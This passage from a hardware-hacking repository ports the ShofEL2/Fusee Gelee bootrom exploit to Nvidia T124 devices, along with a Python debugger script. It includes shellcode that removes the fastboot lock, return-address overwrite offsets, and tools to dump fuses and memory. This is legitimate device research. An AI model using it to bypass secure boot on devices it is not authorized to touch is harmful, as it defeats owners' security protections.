|
||||
|
||||
def dirty_emmc_read(block, page, target_buffer):
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.arch_dbg.state.R0 = block
|
||||
cd.arch_dbg.state.R1 = page
|
||||
cd.arch_dbg.state.R2 = target_buffer
|
||||
cd.arch_dbg.state.R3 = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(NVBOOTSDMMCREADPAGE | 1)
|
||||
resp = cd.read(0x200)
|
||||
pass
|
||||
|
||||
def dump_emmc():
|
||||
out_buf = 0x40020000
|
||||
dirty_emmc_read(0, 0, out_buf)
|
||||
dat = cd.memdump_region(out_buf, 512)
|
||||
pass
|
||||
dump_emmc()
|
||||
pass
|
||||
elif cd.arch_dbg.state.R0 == 0x77:
|
||||
# In nvtloadbinary
|
||||
dat = open("bin/bootloader.bin", 'rb').read()
|
||||
cd.memwrite_region(0x83d88000, dat[:0x90000])
|
||||
cd.arch_dbg.state.R0 = 0
|
||||
cd.restore_stack_and_jump(cd.arch_dbg.state.LR)
|
||||
continue
|
||||
elif cd.arch_dbg.state.R0 == 0x76:
|
||||
cd.arch_dbg.state.R0 = 0
|
||||
cd.restore_stack_and_jump(0x4000e188)
|
||||
continue
|
||||
else:
|
||||
# In log
|
||||
msg = cd.read_str(cd.arch_dbg.state.R0)
|
||||
# Parse arguments, TODO
|
||||
args = msg.count(b"%")
|
||||
|
||||
if b"Bootloader downloaded" in msg:
|
||||
# Lets try dump the correct bootloader
|
||||
pass
|
||||
elif b"corrupted" in msg or b"GPT failed" in msg:
|
||||
# Restore bootloader
|
||||
print(msg)
|
||||
dat = open("bin/bootloader.bin", 'rb').read()
|
||||
cd.memwrite_region(0x83d88000, dat[:0x90000])
|
||||
cd.memwrite_region(0x83d90260, ks_thumb.asm("mov r0, r0", as_bytes=True)[0] * 2)
|
||||
# cd.memwrite_region(0x83e130e6, b"\x00") # Fastboot unlock?
|
||||
|
||||
# Remove fastboot lock
|
||||
shellcode = f"""
|
||||
mov r0, 0x1
|
||||
bx lr
|
||||
"""
|
||||
cd.memwrite_region(0x83dd0eb0, ks_arm.asm(shellcode, as_bytes=True)[0])
|
||||
|
||||
|
||||
# Jump to bootloader loaded
|
||||
cd.arch_dbg.state.R0 = 0
|
||||
cd.arch_dbg.state.LR = 0x40018ea0
|
||||
cd.restore_stack_and_jump(cd.arch_dbg.state.LR)
|
||||
continue
|
||||
elif b"WB0" in msg:
|
||||
cd.arch_dbg.state.print_ctx(print)
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(0x4000e188)
|
||||
continue
|
||||
elif b"Sdram initialization" in msg:
|
||||
pass
|
||||
print(f"{hex(cd.arch_dbg.state.LR)}:{msg}")
|
||||
cd.restore_stack_and_jump(cd.arch_dbg.state.LR)
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
|
||||
# Jump in bootloader
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(boot_to) # ARM code
|
||||
pass
|
||||
|
||||
|
||||
# Continue next of init fase
|
||||
cd.arch_dbg.state.print_ctx(print)
|
||||
cd.arch_dbg.state.R0 = 0 # Set as success
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(0x00101b76 | 1)
|
||||
pass
|
||||
|
||||
def NvBootMainSecureRomExit():
|
||||
cd.arch_dbg.state.R0 = 0 #warmboot
|
||||
cd.arch_dbg.state.R1 = boot_to
|
||||
cd.arch_dbg.state.R2 = 0x0 # Security bitfield
|
||||
cd.arch_dbg.state.R3 = 0x0 # debug bitfield
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(0x0010121e | 1)
|
||||
NvBootMainSecureRomExit()
|
||||
|
||||
def NvBootArcDisable():
|
||||
cd.arch_dbg.state.R0 = boot_to
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(0x0010166e | 1)
|
||||
cd.read(4)
|
||||
NvBootArcDisable()
|
||||
pass
|
||||
|
||||
|
||||
# cd.memwrite_region(BASE_ADDRESSES['IROM_BASE'], b"\x00" * 0xc000)#)open("imem_good.bin", 'rb').read()[:IROM_LEN]
|
||||
|
||||
def resetfullchip():
|
||||
cd.R0 = BASE_ADDRESSES['IROM_BASE']
|
||||
cd.R1 = BASE_ADDRESSES['IROM_BASE']
|
||||
cd.R2 = BASE_ADDRESSES['IROM_BASE']
|
||||
# cd.restore_stack_and_jump(0x00100624 | 1)
|
||||
cd.restore_stack_and_jump(0x0010122c | 1)
|
||||
pass
|
||||
|
||||
# coldboot()
|
||||
pass
|
||||
|
||||
def relocate_debugger(cd : ConcreteDevice):
|
||||
'''
|
||||
Works, relocates the debugger to the end of IRAM
|
||||
'''
|
||||
reloc = open('/home/eljakim/Source/gupje/source/bin/nvidia_shield_t/debugger_reloc.bin', 'rb').read()
|
||||
cd.memwrite_region(0x4003c000, reloc)
|
||||
cd.restore_stack_and_jump(0x4003c000 | 1)
|
||||
assert cd.read(0x100) == b"GiAs"
|
||||
|
||||
# And relocate the debugger
|
||||
cd.relocate_debugger(0x40011000, 0x4003c000, 0x4003e000)
|
||||
|
||||
|
||||
|
||||
def device_main(cd : "ConcreteDevice", args):
|
||||
'''
|
||||
Main function that will do execution for the device.
|
||||
'''
|
||||
cd.test_connection()
|
||||
partial_emu = False
|
||||
if partial_emu:
|
||||
relocate_debugger(cd)
|
||||
do_partial_emu(cd)
|
||||
else:
|
||||
hw_init(cd)
|
||||
attempt_boot_bct(cd)
|
||||
test_arm_asm(cd)
|
||||
pass
|
||||
|
||||
if __name__ == "__main__":
|
||||
logger = setup_logger("DEBUGGER")
|
||||
logger.setLevel(logging.INFO)
|
||||
cd = ConcreteDevice(None, False)
|
||||
cd.dev = device_setup(cd)
|
||||
cd.device_main = device_main
|
||||
cd.device_main(cd, [])
|
39
Readme.md
Normal file
@ -0,0 +1,39 @@
|
||||
# T124 Gupje
|
||||
|
||||
The exploitation work for this device is done by [LordRafa](https://github.com/LordRafa)
|
||||
|
||||
To build gupje, see the readme in the gupje_t/ folder.
|
||||
|
||||
## Usage
|
||||
This project assumes the following directory structure:
|
||||
|
||||
```bash
|
||||
Source/gupje ⬡ v18.12.1 main ✘
|
||||
$ tree -L 3
|
||||
.
|
||||
├── [..]
|
||||
├── debugger_archs
|
||||
│ ├── ga_arm64.h
|
||||
│ ├── ga_arm.h
|
||||
│ └── ga_arm_thumb.h
|
||||
├── debugger.c
|
||||
├── devices
|
||||
│ ├── base_device
|
||||
│ ├── nvidia_shield
|
||||
│ │ ├── [..]
|
||||
│ │ ├── gupje_t
|
||||
│ │ ├── [..]
|
||||
│ ├── rpi4_gupje
|
||||
├── docs
|
||||
│ ├── [..]
|
||||
├── [..]
|
||||
|
||||
```
|
||||
|
||||
The root folder is the [gupje](https://github.com/EljakimHerrewijnen/Gupje) project, which contains this folder in the ``devices/`` subdirectory.
|
||||
|
||||
Run the exploit code with a *target* binary to run on the device.
|
||||
```bash
|
||||
python3 exploit.py --ga ../bin/nvidia_shield_t/debugger.bin
|
||||
```
|
||||
|
9
ShofEL2-for-T124/.gitignore
vendored
Normal file
@ -0,0 +1,9 @@
|
||||
*.bin
|
||||
*.elf
|
||||
build/
|
||||
!*.keep
|
||||
*.d
|
||||
*.idb
|
||||
.*.swp
|
||||
*.o
|
||||
shofel2_t124
|
27
ShofEL2-for-T124/LICENSE
Normal file
@ -0,0 +1,27 @@
|
||||
// Copyright (c) 2020 lordrafa. All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions are
|
||||
// met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// * Redistributions in binary form must reproduce the above
|
||||
// copyright notice, this list of conditions and the following disclaimer
|
||||
// in the documentation and/or other materials provided with the
|
||||
// distribution.
|
||||
// * Neither my name nor the names of its
|
||||
// contributors may be used to endorse or promote products derived from
|
||||
// this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
27
ShofEL2-for-T124/LICENSE.chromiumos
Normal file
@ -0,0 +1,27 @@
|
||||
// Copyright (c) 2010 The Chromium OS Authors. All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions are
|
||||
// met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// * Redistributions in binary form must reproduce the above
|
||||
// copyright notice, this list of conditions and the following disclaimer
|
||||
// in the documentation and/or other materials provided with the
|
||||
// distribution.
|
||||
// * Neither the name of Google Inc. nor the names of its
|
||||
// contributors may be used to endorse or promote products derived from
|
||||
// this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
27
ShofEL2-for-T124/LICENSE.fail0verflow
Normal file
@ -0,0 +1,27 @@
|
||||
// Copyright (c) 2018 Team fail0verflow. All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions are
|
||||
// met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// * Redistributions in binary form must reproduce the above
|
||||
// copyright notice, this list of conditions and the following disclaimer
|
||||
// in the documentation and/or other materials provided with the
|
||||
// distribution.
|
||||
// * Neither the name of fail0verflow nor the names of its
|
||||
// contributors may be used to endorse or promote products derived from
|
||||
// this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
77
ShofEL2-for-T124/Makefile
Normal file
@ -0,0 +1,77 @@
|
||||
CFLAGS := -Wall -Werror -I include -MMD
|
||||
|
||||
CFLAGS := -Wall -Werror -I include -MMD -Wno-unused-variable
|
||||
|
||||
BIN_FILES = reset_example.bin jtag_example.bin intermezzo.bin boot_bct.bin payload.bin
|
||||
|
||||
all: shofel2_t124 $(BIN_FILES)
|
||||
|
||||
# --------- x86 ----------
|
||||
|
||||
CC_x86 = gcc
|
||||
CFLAGS_x86 := $(CFLAGS)
|
||||
# shameless copypasta from https://stackoverflow.com/a/2908351/375416
|
||||
C_FILES_x86:= $(wildcard exploit/*.c)
|
||||
OBJ_FILES_x86 := $(addprefix build/obj_x86/,$(notdir $(C_FILES_x86:.c=.o)))
|
||||
-include $(OBJ_FILES_x86:.o=.d)
|
||||
|
||||
build/obj_x86/%.o: exploit/%.c
|
||||
$(CC_x86) $(CFLAGS_x86) -c -o $@ $<
|
||||
|
||||
shofel2_t124: $(OBJ_FILES_x86)
|
||||
$(CC_x86) $(CFLAGS_x86) -o $@ $^
|
||||
|
||||
# ------------------------
|
||||
|
||||
|
||||
# ----- ARMv4t Thumb -----
|
||||
TOOLCHAIN_ARM := $(TOOLCHAINENV)/gcc-arm-none-eabi-10-2020-q4-major/bin/arm-none-eabi-
|
||||
|
||||
CC_ARM = $(TOOLCHAIN_ARM)gcc
|
||||
AS_ARM = $(TOOLCHAIN_ARM)as
|
||||
OBJCOPY_ARM = $(TOOLCHAIN_ARM)objcopy
|
||||
|
||||
CFLAGS_ARM := $(CFLAGS) -march=armv4t -mthumb -Os -ffreestanding \
|
||||
-fno-common -fomit-frame-pointer -nostdlib -fno-builtin-printf \
|
||||
-fno-asynchronous-unwind-tables -fPIE -fno-builtin -fno-exceptions \
|
||||
-Wl,--no-dynamic-linker,--build-id=none,-T,payloads/payload.ld
|
||||
|
||||
# shameless copypasta from https://stackoverflow.com/a/2908351/375416
|
||||
C_FILES_ARM := $(wildcard payloads/*.c)
|
||||
OBJ_FILES_ARM := $(addprefix build/obj_arm/,$(notdir $(C_FILES_ARM:.c=.o)))
|
||||
-include $(OBJ_FILES_ARM:.o=.d)
|
||||
|
||||
build/obj_arm/%.o: payloads/%.c
|
||||
$(CC_ARM) $(CFLAGS_ARM) -c -o $@ $<
|
||||
|
||||
build/reset_example.elf: build/obj_arm/reset_example.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
|
||||
|
||||
build/jtag_example.elf: build/obj_arm/jtag_example.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
|
||||
|
||||
build/boot_bct.elf: build/obj_arm/boot_bct.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
|
||||
|
||||
build/mem_dumper_usb_server.elf: build/obj_arm/mem_dumper_usb_server.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
|
||||
|
||||
build/payload.elf: build/obj_arm/payload.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
|
||||
|
||||
build/intermezzo.elf: build/obj_arm/intermezzo.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
|
||||
|
||||
%.bin: build/%.elf
|
||||
$(OBJCOPY_ARM) -O binary $< $@
|
||||
|
||||
# ------------------------
|
||||
|
||||
|
||||
clean:
|
||||
rm -f $(OBJ_FILES_ARM) $(OBJ_FILES_x86)
|
||||
rm -f shofel2_t124 build/*.elf $(BIN_FILES)
|
||||
|
||||
cleanall: clean
|
||||
rm -f build/obj_arm/*.d build/obj_x86/*.d
|
||||
|
63
ShofEL2-for-T124/README.md
Normal file
@ -0,0 +1,63 @@
|
||||
# ShofEL2 for T124
|
||||
|
||||
This is a Fusee Gelee / ShofEL2 exploit port for the Nvidia T124 (a.k.a Jetson TK1, Shield K1, etc).
|
||||
|
||||
Currently this code allows you to download and execute a payload to the T124, dump the fuses and memory and boot bct without apply the locks.
|
||||
|
||||
Mostly of my code is based on the original ShofEL2 code and Katherine Temkin research, so I cannot take that much credit for this.
|
||||
|
||||
See the original fail0verflow blog post: https://fail0verflow.com/blog/2018/shofel2/
|
||||
See additional info at the original Katherine Temkin github: https://github.com/Qyriad/fusee-launcher/blob/master/report/fusee_gelee.md
|
||||
|
||||
## Obligatory disclaimer
|
||||
|
||||
This code is provided without any warranty, use under your own resposability.
|
||||
|
||||
## Usage
|
||||
|
||||
You need an arm-*-eabi toolkit. You can use [Crosstool-ng](https://crosstool-ng.github.io/download/) compile it.
|
||||
|
||||
Build the loader and payloads:
|
||||
|
||||
$ cd ShofEL2-for-T124
|
||||
$ make
|
||||
|
||||
Usage
|
||||
|
||||
$ ./shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD ) [options]
|
||||
$ MEM_DUMP address length out_file -> Dumps "length" bytes starting from "address" to "out_file".
|
||||
$ READ_FUSES out_file -> Dumps the T124 fuses to "out_file" and show them in console.
|
||||
$ BOOT_BCT -> Boots BCT without applying locks.
|
||||
$ PAYLOAD payload.bin [arm|thumb] -> Boots "payload.bin" the entrymode mode can be specified (thumb by default)
|
||||
|
||||
|
||||
## Interesting facts (maybe some of them wrong)
|
||||
|
||||
* RCM loads the payload to IRAM at 0x4000E000 (described on tegrarcm source code).
|
||||
* RCM cmd format is sligitly different. RCM cmd header length is 0x284 bytes but the firtst 4 bytes still containing the RCM cmd length.
|
||||
* RCM cmd length restrictions are different to X1 bootrom:
|
||||
* Bulk transfers need to be multiply of 0x1000 to ensure use the whole usb buffer.
|
||||
* RCM cmd length minus 0x284 (header length) must be a multiple of 0x10 (which means RCM CMD length needs to end in 4).
|
||||
* RCM cmd min length is 0x404 bytes. Due to the previous condition the minimun length would be 0x1004.
|
||||
* RCM cmd length cannot exceed avaiable IRAM for the payload (from 0x4000E000 till 0x4003FFFF).
|
||||
* With all this in mind max RCM cmd length is 0x32274 bytes.
|
||||
* Since the exploit uses usb buffer 2, only 0x31000 bytes can be used for the payload in order to avoid finishing the RCM cmd.
|
||||
* A payload can still be loaded using the same path as the one used by the original shofEL2, since no validation is carried out till the whole payload is received.
|
||||
* Even if the specs says that the JTAG is enabled by default, cold bootrom code disasbles it while is runnig (not as dumb as expected :D).
|
||||
* RCM runs on an ARM7TDMI core, I manage to halt the CPU on uboot using a Segger J-LINK.
|
||||
* When the poisoned get status is executed, 0x30C bytes will be copied before the payload. These bytes are part of the execution stack, starting with the USB status var.
|
||||
* Using the original sanity_check function from shofel2, I got from the execution stack that the RCM USB buffers are located at 0x40004000 and 0x40008000.
|
||||
* Two USB buffers of 0x1000 bytes still present. They still alternating on each USB txn. And odd number of USB txn will let you on the hight buffer for the next txn.
|
||||
* Using the original sanity_check function from shofel2, I got from the execution stack that the memcpy return address is located at 0x4000DCD8 (0x4000DCF4 - 0xC - 2 * 4 - 2 * 4).
|
||||
* The position in the RCM cmd where the entry adress need to be write to smash the memcpy return address is calculated as follow:
|
||||
* n_bytes_to_copy = 0x4000DCD8 - 0x40008000 (memcpy_ret_add_loc - usb_buf2_add) -> n_bytes_to_copy = 0x5CD8 bytes
|
||||
* pos_in_payload = n_bytes_to_copy - 0x30C (copied from the execution stack) - 0x4 -> pos_in_payload = 0x59C8
|
||||
* pos_in_rcm_cmd = pos_in_payload + 0x284 (header length) -> pos_in_rcm_cmd = 0x5C4C
|
||||
* I found the following functions on the the bootrom:
|
||||
|
||||
| Function | IROM Address | Description |
|
||||
| ------------- | ------------- | ------------- |
|
||||
| void ep1_in_write_imm(void *buffer, u32 size, u32 *num_xfer) | 0x001065C0 | Writes EP1_IN |
|
||||
| void ep1_out_read_imm(void *buffer, u32 size, u32 *num_xfer) | 0x00106612 | Reads EP1_OUT |
|
||||
| void do_bct_boot() | 0x00100624 | Boots BCT without applying locks. |
|
||||
|
BIN
ShofEL2-for-T124/a.out
Executable file
23
ShofEL2-for-T124/config/gdbinit
Normal file
@ -0,0 +1,23 @@
|
||||
# J-LINK GDB SERVER initialization
|
||||
#
|
||||
# This connects to a GDB Server listening
|
||||
# for commands on localhost at tcp port 2331
|
||||
target remote localhost:2331
|
||||
# Set JTAG speed to 30 kHz
|
||||
monitor speed 4
|
||||
# Set GDBServer to little endian
|
||||
monitor endian little
|
||||
# Reset the chip to get to a known state.
|
||||
monitor reset
|
||||
#
|
||||
# CPU core initialization (to be done by user)
|
||||
#
|
||||
# Set the processor mode (Enables THUMB)
|
||||
monitor reg cpsr = 0xf3
|
||||
# Set auto JTAG speed
|
||||
monitor speed auto
|
||||
# Setup GDB FOR FASTER DOWNLOADS
|
||||
set remote memory-write-packet-size 1024
|
||||
set remote memory-write-packet-size fixed
|
||||
# Load the program executable called "reset_example.elf"
|
||||
load reset_example.elf
|
138
ShofEL2-for-T124/exploit/fuse.c
Normal file
@ -0,0 +1,138 @@
|
||||
|
||||
// Copy paste from https://github.com/moriczgergo/moonflower/blob/933ab9ef66b76aa49ad2c29ca88d78173a81eff2/src/fuse.h
|
||||
|
||||
#include "fuse.h"
|
||||
|
||||
void print_fuses( fuse_chip_registers_t *fuse_chip_registers ) {
|
||||
// don't worry, i didn't type these in by hand.
|
||||
printf( "FUSE_PRODUCTION_MODE: %08x\n", fuse_chip_registers->FUSE_PRODUCTION_MODE );
|
||||
printf( "FUSE_JTAG_SECUREID_VALID: %08x\n", fuse_chip_registers->FUSE_JTAG_SECUREID_VALID );
|
||||
printf( "FUSE_ODM_LOCK: %08x\n", fuse_chip_registers->FUSE_ODM_LOCK );
|
||||
printf( "FUSE_OPT_OPENGL_EN: %08x\n", fuse_chip_registers->FUSE_OPT_OPENGL_EN );
|
||||
printf( "FUSE_SKU_INFO: %08x\n", fuse_chip_registers->FUSE_SKU_INFO );
|
||||
printf( "FUSE_CPU_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_0_CALIB );
|
||||
printf( "FUSE_CPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_IDDQ_CALIB );
|
||||
printf( "RESERVED_0x01C: %08x\n", fuse_chip_registers->RESERVED_0x01C );
|
||||
printf( "RESERVED_0x020: %08x\n", fuse_chip_registers->RESERVED_0x020 );
|
||||
printf( "RESERVED_0x024: %08x\n", fuse_chip_registers->RESERVED_0x024 );
|
||||
printf( "FUSE_OPT_FT_REV: %08x\n", fuse_chip_registers->FUSE_OPT_FT_REV );
|
||||
printf( "FUSE_CPU_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_1_CALIB );
|
||||
printf( "FUSE_CPU_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_2_CALIB );
|
||||
printf( "FUSE_SOC_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_0_CALIB );
|
||||
printf( "FUSE_SOC_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_1_CALIB );
|
||||
printf( "FUSE_SOC_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_2_CALIB );
|
||||
printf( "FUSE_SOC_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_IDDQ_CALIB );
|
||||
printf( "RESERVED_0x044: %08x\n", fuse_chip_registers->RESERVED_0x044 );
|
||||
printf( "FUSE_FA: %08x\n", fuse_chip_registers->FUSE_FA );
|
||||
printf( "FUSE_RESERVED_PRODUCTION: %08x\n", fuse_chip_registers->FUSE_RESERVED_PRODUCTION );
|
||||
printf( "FUSE_HDMI_LANE0_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE0_CALIB );
|
||||
printf( "FUSE_HDMI_LANE1_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE1_CALIB );
|
||||
printf( "FUSE_HDMI_LANE2_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE2_CALIB );
|
||||
printf( "FUSE_HDMI_LANE3_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE3_CALIB );
|
||||
printf( "FUSE_ENCRYPTION_RATE: %08x\n", fuse_chip_registers->FUSE_ENCRYPTION_RATE );
|
||||
printf( "FUSE_PUBLIC_KEY 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[0], fuse_chip_registers->FUSE_PUBLIC_KEY[1], fuse_chip_registers->FUSE_PUBLIC_KEY[2], fuse_chip_registers->FUSE_PUBLIC_KEY[3] );
|
||||
printf( "FUSE_PUBLIC_KEY 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[4], fuse_chip_registers->FUSE_PUBLIC_KEY[5], fuse_chip_registers->FUSE_PUBLIC_KEY[6], fuse_chip_registers->FUSE_PUBLIC_KEY[7] );
|
||||
printf( "FUSE_TSENSOR1_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR1_CALIB );
|
||||
printf( "FUSE_TSENSOR2_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR2_CALIB );
|
||||
printf( "RESERVED_0x08C: %08x\n", fuse_chip_registers->RESERVED_0x08C );
|
||||
printf( "FUSE_OPT_CP_REV: %08x\n", fuse_chip_registers->FUSE_OPT_CP_REV );
|
||||
printf( "FUSE_OPT_PFG: %08x\n", fuse_chip_registers->FUSE_OPT_PFG );
|
||||
printf( "FUSE_TSENSOR0_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR0_CALIB );
|
||||
printf( "FUSE_BOOTROM_PATCH_SIZE: %08x\n", fuse_chip_registers->FUSE_BOOTROM_PATCH_SIZE );
|
||||
printf( "FUSE_SECURITY_MODE: %08x\n", fuse_chip_registers->FUSE_SECURITY_MODE );
|
||||
printf( "FUSE_PRIVATE_KEY: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PRIVATE_KEY[0], fuse_chip_registers->FUSE_PRIVATE_KEY[1], fuse_chip_registers->FUSE_PRIVATE_KEY[2], fuse_chip_registers->FUSE_PRIVATE_KEY[3] );
|
||||
printf( "FUSE_DEVICE_KEY: %08x\n", fuse_chip_registers->FUSE_DEVICE_KEY );
|
||||
printf( "FUSE_ARM_DEBUG_DIS: %08x\n", fuse_chip_registers->FUSE_ARM_DEBUG_DIS );
|
||||
printf( "FUSE_BOOT_DEVICE_INFO: %08x\n", fuse_chip_registers->FUSE_BOOT_DEVICE_INFO );
|
||||
printf( "FUSE_RESERVED_SW: %08x\n", fuse_chip_registers->FUSE_RESERVED_SW );
|
||||
printf( "FUSE_VP8_ENABLE: %08x\n", fuse_chip_registers->FUSE_VP8_ENABLE );
|
||||
printf( "FUSE_RESERVED_ODM 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[0], fuse_chip_registers->FUSE_RESERVED_ODM[1], fuse_chip_registers->FUSE_RESERVED_ODM[2], fuse_chip_registers->FUSE_RESERVED_ODM[3] );
|
||||
printf( "FUSE_RESERVED_ODM 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[4], fuse_chip_registers->FUSE_RESERVED_ODM[5], fuse_chip_registers->FUSE_RESERVED_ODM[6], fuse_chip_registers->FUSE_RESERVED_ODM[7] );
|
||||
printf( "FUSE_OBS_DIS: %08x\n", fuse_chip_registers->FUSE_OBS_DIS );
|
||||
printf( "RESERVED_0x0EC: %08x\n", fuse_chip_registers->RESERVED_0x0EC );
|
||||
printf( "FUSE_USB_CALIB: %08x\n", fuse_chip_registers->FUSE_USB_CALIB );
|
||||
printf( "FUSE_SKU_DIRECT_CONFIG: %08x\n", fuse_chip_registers->FUSE_SKU_DIRECT_CONFIG );
|
||||
printf( "FUSE_KFUSE_PRIVKEY_CTRL: %08x\n", fuse_chip_registers->FUSE_KFUSE_PRIVKEY_CTRL );
|
||||
printf( "FUSE_PACKAGE_INFO: %08x\n", fuse_chip_registers->FUSE_PACKAGE_INFO );
|
||||
printf( "FUSE_OPT_VENDOR_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_VENDOR_CODE );
|
||||
printf( "FUSE_OPT_FAB_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_FAB_CODE );
|
||||
printf( "FUSE_OPT_LOT_CODE_0: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_0 );
|
||||
printf( "FUSE_OPT_LOT_CODE_1: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_1 );
|
||||
